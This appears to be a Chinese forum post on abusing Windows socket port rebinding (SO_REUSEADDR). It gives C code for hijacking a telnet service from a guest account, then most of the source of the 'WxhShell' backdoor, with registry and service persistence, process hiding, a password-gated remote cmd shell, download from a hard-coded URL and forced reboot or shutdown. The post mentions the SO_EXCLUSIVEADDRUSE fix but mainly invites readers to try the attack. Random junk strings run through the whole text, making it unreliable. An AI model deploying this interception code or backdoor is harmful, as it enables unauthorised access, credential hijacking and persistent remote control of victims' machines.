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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z(\H.P# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %m+MEh"b5 g=U?{<8.m saddr.sin_family = AF_INET; X'?v8\mPK &2xYG{Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); Jh466;
E uhc0,V;S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -S,dG| &-b=gnT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -|)[s[T~m (6h7 'r $ 这意味着什么?意味着可以进行如下的攻击: $\^]MxI 'E&K%/d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f2yv7t
T =]zPUzr,| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) --^D)n rXm!3E6JL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B:mlBSH <BU|?T6~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (B$FX<K3 *e>:K$r 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e0$mu?wd- bR8)s{p6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SD.ze(P r?X^*o9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]@8=e'V hYWWvJ)S #include T=R94 #include X^.r@tT #include s lI)"+6 #include ,@!d%rL:4] DWORD WINAPI ClientThread(LPVOID lpParam); F`-[h)e. int main() kcOpO<oE { @B^'W'&C WORD wVersionRequested; ]yIy~V DWORD ret; wlpbfO e/ WSADATA wsaData; ):|)/ZiC' BOOL val; _:K}DU'6 SOCKADDR_IN saddr; jU#%@d6!# SOCKADDR_IN scaddr; nb|MHt PX int err; `nM4kt7 SOCKET s; _$cBI_eA7 SOCKET sc; HkV/+ {;S~ int caddsize; ~%}g"|o HANDLE mt; d:wAI| DWORD tid; 2 sOc]L:9 wVersionRequested = MAKEWORD( 2, 2 ); (qG$u& err = WSAStartup( wVersionRequested, &wsaData ); 4[-9$
r if ( err != 0 ) { )Z _i[1V printf("error!WSAStartup failed!\n"); uB^]5sqfk return -1; nx+&
{hn( } W1!eY,1} saddr.sin_family = AF_INET; 6,h<0j{ 2kgm)-z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &%bX&;ECzf LPNv4lT[u saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |kd^]!_ saddr.sin_port = htons(23); <qy+@t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .iS]aJJ { xD#/@E1'Y printf("error!socket failed!\n"); .iYg RW=T return -1; @t^2/H
?O } <|_Ey)1
6 val = TRUE; JQ1VCG //SO_REUSEADDR选项就是可以实现端口重绑定的 ?yU#'`q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a;zcAeX { avz 4& printf("error!setsockopt failed!\n"); Iymz2 return -1; evR= Z\
_ } W6iIL:sp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qXF"1f_+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HkN +: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *o#`l H \wCL)t.cX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \*N1i`99 { =e+go
]87x ret=GetLastError(); BdKwWgi+a printf("error!bind failed!\n"); `Q hh{ return -1; k$2Y)
} 6GN'rVr!Z listen(s,2); ;uDFd04w
[ while(1) +W1rm$Q { k8JPu"R caddsize = sizeof(scaddr); 9x1Dyz 2?F //接受连接请求 q ^gEA5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H:_`]X" if(sc!=INVALID_SOCKET) O(d'8`8 { k$>T(smh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !v`=EF. if(mt==NULL) cjW]Nw { -5[GX3h0 printf("Thread Creat Failed!\n"); %Fv)$ :b break; vK C>t95 } 4kM<L}J# } 'yNp J' CloseHandle(mt); GND[f} } O+N-x8W{ closesocket(s); <gy'@w? WSACleanup(); 0d2%CsMS"D return 0; tFQFpbI } $3ILVT DWORD WINAPI ClientThread(LPVOID lpParam) 1:t>}[Y { Bz{
g4!ku SOCKET ss = (SOCKET)lpParam; /b|sv$BN SOCKET sc; xpk|?/6 unsigned char buf[4096]; {;zPW!G SOCKADDR_IN saddr; 4l*&3Ar long num; c>Se Onf DWORD val; ;GAYcVB DWORD ret; W#[!8d35$ //如果是隐藏端口应用的话,可以在此处加一些判断 f/x "yUq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1 W u saddr.sin_family = AF_INET; SMyg=B\x?7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1dcy+ !> saddr.sin_port = htons(23); Ml Z`g,{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cOQy|v`KD, { nM`) `!/ printf("error!socket failed!\n"); A
M2M87{t return -1; -,dQ&Qf? } D|o@(V val = 100; %8Z,t+' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qHCs{ u { _+En%p.m ret = GetLastError(); )R4<*
/C:w return -1; :m\KQ1sq } u_BSWhiW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hqPn~Tq { BR2y1Hfi ret = GetLastError(); z@i4dC return -1; d
eg>m?Y } P]B#i1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Os{qpR^<I: { hgK=fHJk printf("error!socket connect failed!\n"); 4B`Rz1QBy closesocket(sc); MQ44uHJ closesocket(ss); +$t%L return -1; /Hmo!"W` } B]7jg9/ while(1) ,k!a3"4+TJ { fR%8?6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nQ\k{%Q //如果是嗅探内容的话,可以再此处进行内容分析和记录 %jkPrI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }El_.@'T & num = recv(ss,buf,4096,0); !U_L7 if(num>0) l i-YkaP send(sc,buf,num,0); O 0#Jl8 else if(num==0) 9f,:j break; YW<2:1A| num = recv(sc,buf,4096,0); F6p1 VFs if(num>0) vXbT E$ send(ss,buf,num,0); cAS_?"V
a else if(num==0) 0K ?(xB break; sFK<:ka } DOe KW closesocket(ss);
y6}):| closesocket(sc); SK52.xXJ return 0 ; 4Z}{hc\J } F/sBr7I mx~sxYa "44?n <1 ========================================================== &J$5+"/;X Wi^rnr'Ss 下边附上一个代码,,WXhSHELL I?>T"nV +' )\vHIXnfJ1 ========================================================== {R;M`EU> yU,xcq~l #include "stdafx.h" p'~5[JR: 31& .Lnq #include <stdio.h> tY=%@v'6? #include <string.h>
c^s> #include <windows.h> ,rQ)TT #include <winsock2.h> x-&v|w ' #include <winsvc.h> 2p>SB/ #include <urlmon.h> a}fClI-u Yj6p19 #pragma comment (lib, "Ws2_32.lib") "Q{~Bj~ #pragma comment (lib, "urlmon.lib") 4/?}xD|? _~Vz+nT #define MAX_USER 100 // 最大客户端连接数 ~uadivli #define BUF_SOCK 200 // sock buffer
'*u;:[73 #define KEY_BUFF 255 // 输入 buffer <C;>$kX !"%sp6Wc #define REBOOT 0 // 重启 pm~;:#z7
#define SHUTDOWN 1 // 关机 J"/z?!)IB vN:[ #define DEF_PORT 5000 // 监听端口 p"IS"k% *)1Vs'!- #define REG_LEN 16 // 注册表键长度 ]fo^43rn{ #define SVC_LEN 80 // NT服务名长度 Y>Hl0$:= Wx$q:$h@q // 从dll定义API Ir"Q%>K0f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ih |Ky+ ! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %aBJ+V F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tw;qY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _G #"B{7 V9u\;5oL // wxhshell配置信息 M5WtGIV struct WSCFG { W#I:j: p int ws_port; // 监听端口 8KwCwv char ws_passstr[REG_LEN]; // 口令 s%[GQQ-N int ws_autoins; // 安装标记, 1=yes 0=no ~vSAnjeR char ws_regname[REG_LEN]; // 注册表键名 ?7MwTi8{F char ws_svcname[REG_LEN]; // 服务名 ttFY
_F~S char ws_svcdisp[SVC_LEN]; // 服务显示名 m+2`"1IE[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 a,*p_:~i char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `1bX.7K43 int ws_downexe; // 下载执行标记, 1=yes 0=no r p
@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" dMs||&|& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {{*]bGko X";ZUp }; E<Dh_K 6QLQ1k` // default Wxhshell configuration Fiu!!M6 struct WSCFG wscfg={DEF_PORT, ;=+Zw1/g "xuhuanlingzhe", ,ah*!Zm.kk 1, k
l!?/M "Wxhshell", +6hl@Fm( "Wxhshell", EEs-& "WxhShell Service", WAB0e~e:|Q "Wrsky Windows CmdShell Service", }PQSCl^I "Please Input Your Password: ", r}0C8(oq 1, AR~$MCR]"k " http://www.wrsky.com/wxhshell.exe", =v4r M0m, "Wxhshell.exe" sCtw30BL }; 7ec0Xh1 .3&a{IxM] // 消息定义模块 o4%Vt} K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mw(c[.*% char *msg_ws_prompt="\n\r? for help\n\r#>"; z {pC7e5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A,-V$[;~D char *msg_ws_ext="\n\rExit."; ~z
K@pFeH char *msg_ws_end="\n\rQuit."; m
io1kDq< char *msg_ws_boot="\n\rReboot..."; =^Sw*[eiy char *msg_ws_poff="\n\rShutdown..."; Bhu@ 2KdA char *msg_ws_down="\n\rSave to "; w;c#drY7S E
{KS a char *msg_ws_err="\n\rErr!"; z_Wm
HB char *msg_ws_ok="\n\rOK!"; p2x1xv Seq]NkgY char ExeFile[MAX_PATH]; i#RElH int nUser = 0; P}hY{y' HANDLE handles[MAX_USER]; Z.:<TrN int OsIsNt; Q^lQi\[ kOAY@a SERVICE_STATUS serviceStatus; UXwB$@8 SERVICE_STATUS_HANDLE hServiceStatusHandle; B)rr7B PW*;S p // 函数声明 ,rZn`9 int Install(void); m0|Ae@g~3 int Uninstall(void); ZD)0P=% int DownloadFile(char *sURL, SOCKET wsh); f2 ydL/M, int Boot(int flag); 0L:V#y-* void HideProc(void); 22GnbA7O int GetOsVer(void); =! N _^cb int Wxhshell(SOCKET wsl); to&N22a$ void TalkWithClient(void *cs); \5Vp6^ int CmdShell(SOCKET sock); %6A-OF int StartFromService(void); X'FEOF int StartWxhshell(LPSTR lpCmdLine); .]j#y9>&w% `10X5V@hP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E kBae= VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]-um\A4f /&]-I$G@ // 数据结构和表定义 Gefnk!;; SERVICE_TABLE_ENTRY DispatchTable[] = ?dsf@\ { 3>Q@r>c {wscfg.ws_svcname, NTServiceMain}, Km)X_}| {NULL, NULL} 8cK\myn. }; =w^TcV 'Aj(i/CM // 自我安装 s(AJkO'` int Install(void)
AanH{ { ]{!!7Zz char svExeFile[MAX_PATH]; K85_>C%g HKEY key; u0XP(dH strcpy(svExeFile,ExeFile); Dac ^*k=D XogvtK* // 如果是win9x系统,修改注册表设为自启动 wJ+U[a if(!OsIsNt) { 2{t)DUs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {)B9Z
I{+A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0)d?Y RegCloseKey(key); ^\M
dl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,`<^F:xl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0,"vFdj RegCloseKey(key); T8$%9&j!UE return 0; 8jy-z"jc } e0f":Vct } >ik1]!j]Lv } ]3L@$`ys else { J3;Tm~KJ_ h/I@_?k+ // 如果是NT以上系统,安装为系统服务 I*D<J$ 9N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v%lv8Lar' if (schSCManager!=0) f}[H
`OF { #P(l2 ( SC_HANDLE schService = CreateService +D:83h{ ( \F 3C=M@: schSCManager, v9%nau4 wscfg.ws_svcname, /Q?~Q0{)es wscfg.ws_svcdisp, dgS4w@)@V; SERVICE_ALL_ACCESS, M^z=1YrMd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i?F[||O"$ SERVICE_AUTO_START, =~J"kC SERVICE_ERROR_NORMAL, [ njx7d svExeFile, XtCoX\da NULL, J?Ck4dQ NULL, 4|nQ=bIau NULL, X[V?T>jsM NULL, 7}Bj|]b)~ NULL XwcMt r* ); 3 brb*gI_b if (schService!=0) a3Y{lc#z} { )ZHc$+fU CloseServiceHandle(schService); &yE1U#J( CloseServiceHandle(schSCManager); $+Vmwd; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '!!e+\h# strcat(svExeFile,wscfg.ws_svcname); Sv7 i! j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mx8Gu^FW.d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); On=u#DxQ RegCloseKey(key); DU;[btK> return 0; %y iD~& } |/VL35b } Uz 0W <u3v CloseServiceHandle(schSCManager); tpXa*6 } NCa~#i:F8 } A2y6UzLYD `dDa}b return 1; 2\VAmPG.Zs } Yx5J$!Ld UP\C"\ // 自我卸载 OU!nN>ln int Uninstall(void) f`9JE8 { & g:%*>7P HKEY key; 7i8eg*Gl *C\(wL if(!OsIsNt) { e^QVn\<c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wX ,h<\7 RegDeleteValue(key,wscfg.ws_regname); wf?u(3/% RegCloseKey(key); AH^e]<2- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dIk'pA^d RegDeleteValue(key,wscfg.ws_regname); 6mCq/$ RegCloseKey(key); :G -1YA return 0; F;u7A]H^ } F?z<xL@ } s2%V4yy% } |zq4* 5 else { Bz+.Qa+ 0#QKVZq2> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p%F8'2)} if (schSCManager!=0) ;hwzYXWF { 3cqQL!Gm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i'HPRY if (schService!=0) :[xvlW29 { F.<L>
G7{1 if(DeleteService(schService)!=0) { bDDqaO ,8 CloseServiceHandle(schService); zOB !(R CloseServiceHandle(schSCManager); }X]\VSF{ return 0; Kq&qE>Ju } 2Z)4(, CloseServiceHandle(schService); ,h^r:g } H?tUCbw CloseServiceHandle(schSCManager); oV9z(!X/ } 03EV%Vc } N5?IpE gWOt]D/ return 1; #{$1z;i?f } fG&=Ogy jY/ARBC}H // 从指定url下载文件 URA0ey` int DownloadFile(char *sURL, SOCKET wsh) ]tB@kBi " { f#$|t> HRESULT hr;
R_1qn char seps[]= "/"; @QdnjXII* char *token; +@ MPQv char *file; s\gp5MT char myURL[MAX_PATH]; SO;N~D1Z6 char myFILE[MAX_PATH]; 2no$+4+z o5swH6Y.)J strcpy(myURL,sURL); iA'As%S1 token=strtok(myURL,seps); bb;(gK;F while(token!=NULL) m`y9Cuk { S`m,S4-eD file=token; H(|AH;?ou token=strtok(NULL,seps); F_=1;,K% } I{ ryD -! 6Ps.E GetCurrentDirectory(MAX_PATH,myFILE); ?59'dGnz_ strcat(myFILE, "\\"); Zw{MgoJ0Z strcat(myFILE, file); "uKFOV?j& send(wsh,myFILE,strlen(myFILE),0); B+] D5K send(wsh,"...",3,0); E!J=8C.: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8#X_# if(hr==S_OK) PLA#!$c7q return 0; rp's else m\ S\3n return 1; JoZ(_Jh%m icgJ;Q 5 } D!F 2l_ d'"r("w# // 系统电源模块 1%~[rnQ int Boot(int flag) sw;|'N$:< { 0[xpEiDx HANDLE hToken; oC*=JJe, TOKEN_PRIVILEGES tkp; gL3iw!7 Pbn!KX~F~ if(OsIsNt) { W:`#% :C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @gY\;[#. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Eectxyr?;N tkp.PrivilegeCount = 1; vXv;1T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [AS}RV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dJ
~Zr)> if(flag==REBOOT) { lCIDBBjy^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ez+Z[*C return 0; l_{8+\`! } epg#HNP7^Y else { bT)]'(Xy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L',mKOej return 0; ,Na^%A@TJ } DM{ 4@*] } X~oK[Nf'9 else { -!e7L>w if(flag==REBOOT) { s?rBE.g@} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mr:CuqJ
return 0; y_p.Gzy(^} } t2>fmQIQ else { ,7_4z]jK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h-#1U3d return 0; LP];x3 } "V&I^YSc> } |[$~\MU #%lo;W~IY return 1; YA:nOvd@O } !bnyJA r;&>iX4B // win9x进程隐藏模块 U_B((Z(g void HideProc(void) Yg9joNBh { @FO)0 wkUlrL/~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "IQ/LbOqm_ if ( hKernel != NULL ) =elpH^N { ZcJ\ZbE| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hk[
%a$Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oz:
*LZ FreeLibrary(hKernel); KNLnn;l } zfA
GtT< 9(4&KZpK return; R?o$Y6}5 } c!K]J *Hz^K0:8( // 获取操作系统版本 f+_h !j int GetOsVer(void) Z?5V4F:f { =O).Lx2J OSVERSIONINFO winfo; "A$!,
PX6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t. ='/`!N GetVersionEx(&winfo); #S]ER907 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qOih`dla return 1; 42J{aJVH else |yEa5rd?W return 0; BZ54*\t } {X(:jAy `-h8vj5uG // 客户端句柄模块 h:Gu`+D>W int Wxhshell(SOCKET wsl) z`UhB%-? { >TkE~7?l SOCKET wsh; 6 5N~0t struct sockaddr_in client; #X 52/8G DWORD myID; j)C,%Ol H,nec<Jp while(nUser<MAX_USER) VXLT^iX { d?`ny#,GB int nSize=sizeof(client); aE;le{|!({ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); scLn= if(wsh==INVALID_SOCKET) return 1; fC,:{} t3(]YgF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J &pO%Q=b if(handles[nUser]==0) ]vWKR."4 closesocket(wsh); VXIP0p@ else z|EEVNFd& nUser++; Sz- Jy:j } p2Zo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Mb#O_eh ojyIQk+ return 0; S"wR%\NIp } OxI/%yv-c 5[0
O'%$ // 关闭 socket |7yAX+ void CloseIt(SOCKET wsh) P9g en6 { V=:'SL*3| closesocket(wsh); \7Jg7 * nUser--; V-<GT? ExitThread(0); 1%4sHSN } I!e} )Y S;$-''o?9 // 客户端请求句柄 wiz$fj void TalkWithClient(void *cs) ]o cWt3| { fFb_J`'ue 3;S,3 SOCKET wsh=(SOCKET)cs; [0"'T[ok char pwd[SVC_LEN]; Llr>9(| char cmd[KEY_BUFF]; +qh[N@F char chr[1]; bFe+m1Q_ int i,j; _?OW0x4 DxUKUE while (nUser < MAX_USER) { |<:vY yE}}c{hSn if(wscfg.ws_passstr) { {&jb5-*f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $s9Vrw0Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {r@Ty*W}
L //ZeroMemory(pwd,KEY_BUFF); gw,UQbnu i=0; $STaQ28C while(i<SVC_LEN) { 1P~X8=9h h }B%
/U // 设置超时 >}+/{(K"E| fd_set FdRead; MyT q struct timeval TimeOut; ZosP(Tdq FD_ZERO(&FdRead); j#cYS*^H FD_SET(wsh,&FdRead); xlhG,bb7 TimeOut.tv_sec=8; $GlWf TimeOut.tv_usec=0; b )B?
F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {q"OM*L( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "?V0$-DR i_j[?.?X} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &YF^j2 pwd =chr[0]; 1v71rf&w if(chr[0]==0xd || chr[0]==0xa) { Q_[ 3`jl pwd=0; O^oWG&Y;v break; z^'gx@YD*v } S:h{2{ i++; ~`aa5;Ab_ } .Y&)4+ckL :Zlwp6 // 如果是非法用户,关闭 socket d3D] k, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ExMk<y_& } r"P|dlV- KET2Ws[w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r>o63Q: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D)L+7N0D~ DGS $Ukz&T while(1) { \WxukYH L7dd(^ ZeroMemory(cmd,KEY_BUFF); o,_?^'@ <
jJ // 自动支持客户端 telnet标准
OX\A|$GS j=0; I}1NB3>^ while(j<KEY_BUFF) { wOU_*uY@6' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kM,C3x{A cmd[j]=chr[0]; 9[<)WQe6M if(chr[0]==0xa || chr[0]==0xd) { RW<D<5C cmd[j]=0; <g"{Wv: h break; =ALTUV3/q } bbE!qk;hEP j++; ?l9XAWt\ } D]zwl@sRX: 8X[:j&@ // 下载文件 U/!TKic+ if(strstr(cmd,"http://")) { 37s0e;aF send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,J+}rPe"sf if(DownloadFile(cmd,wsh)) 'uBu6G send(wsh,msg_ws_err,strlen(msg_ws_err),0); N sXHO else 8WXQOo8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MN\HDKN } >T^;MS else { =l+yA>t| [_k1jHr48N switch(cmd[0]) { pH9VTM.* \NPmym_6J // 帮助 qLD
?juas case '?': { h`^jyoF"( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d3\qKL!~ break; p M4 :#%V } Mk"^?%PxT // 安装 H?yK~bGQ case 'i': { l9{hq/V if(Install()) GeH#I5y send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&zP)>Pv else 8\+uec]k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ssfr}fzH break; Cd#(X@n } Bs^aI I$ // 卸载 *4\:8 case 'r': { ;U/&I3dzV if(Uninstall()) ag [ZW send(wsh,msg_ws_err,strlen(msg_ws_err),0); */`ki;\A else t}r' k/[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01t1Z}!y break; ldU?{o:\s } h4fJvOk|! // 显示 wxhshell 所在路径 p`olCp' case 'p': { lXW%FH6c+ char svExeFile[MAX_PATH]; u^^[Q2LDU} strcpy(svExeFile,"\n\r"); BC^ := strcat(svExeFile,ExeFile); ?:Uv[|S#> send(wsh,svExeFile,strlen(svExeFile),0); 'j#*6xD break; em%4Ap } igCZ|Ru\ // 重启 YvaK0p0Z case 'b': { R@1 xt@? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,LHn90S if(Boot(REBOOT)) ;17E(tl send(wsh,msg_ws_err,strlen(msg_ws_err),0); }bb;~ else { ` Fa~ closesocket(wsh); ha]VWt%} ExitThread(0); V(H1q`ao9 } |3('
N#| break; R`NYEptJ } f z'@_4hg // 关机 T6\[iJI| case 'd': { p_RsU`[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ER%^!xA if(Boot(SHUTDOWN)) 5'OrHk;u send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3#LlDC_WC else { %z=le7 closesocket(wsh); /CrSu ExitThread(0); uy>q7C } lU8l}Ndz" break; }7b%HTF= } =x/X:;)> // 获取shell D}-/c"':} case 's': { Ogqj?]2QC CmdShell(wsh); j`{?OYD closesocket(wsh); 8SMxw~9$ ExitThread(0); {5Q!Y&N.% break; owVX*&b{ } 8 ?xE6 // 退出 )W^F2-{ case 'x': { ju8>:y8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yj&F;_~ CloseIt(wsh); u+9hL4 break; ahusta } y6g&Y.:o // 离开 cn3#R.G~ case 'q': { ^
gdaa>L send(wsh,msg_ws_end,strlen(msg_ws_end),0); ) ;EBz closesocket(wsh); `}p0VmD{NE WSACleanup(); 7y.kQI?3 exit(1); VF+KR* break; 3/P1!:g9 } l [dK[4 } wo3d#= } K%t*8
4j Kew@&j~ // 提示信息 j`EXlc~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ))qy;Q, } C"y(5U)d } dn&s* #NQMy:JHD) return; .j ?W>F } !Z1@}`V&; 0j^Kgx // shell模块句柄 B`EJb71^Xy int CmdShell(SOCKET sock) l5~os> { d9k0F
OR1 STARTUPINFO si; ]a>n:p]e ZeroMemory(&si,sizeof(si)); 1a/++4O.| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YX!iL6?~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q-(zwAaE PROCESS_INFORMATION ProcessInfo; ~]sc^[ char cmdline[]="cmd"; irZ])a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 49eD1h3'X[ return 0; |44Ploz2b } M$wC=b R7%#U`Q^A // 自身启动模式 +V2F#fI/ int StartFromService(void) \UA[ { (|2t#'m typedef struct ."g`3tVK { B.=FSow DWORD ExitStatus; pd?Mf=># DWORD PebBaseAddress; <3nMx^ DWORD AffinityMask; P1!qbFDv8 DWORD BasePriority; T9=I$@/ ULONG UniqueProcessId; IYv`IS" ULONG InheritedFromUniqueProcessId; x5pdS: } PROCESS_BASIC_INFORMATION; _T60;ZI+^ 'B|JAi? PROCNTQSIP NtQueryInformationProcess; ?d* z8w /l3V3B7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GblA9F7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x[p|G5 KR}?H#% HANDLE hProcess; 9+|$$) PROCESS_BASIC_INFORMATION pbi; Q3'llOx +w`2kv HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w?L6!) oiz if(NULL == hInst ) 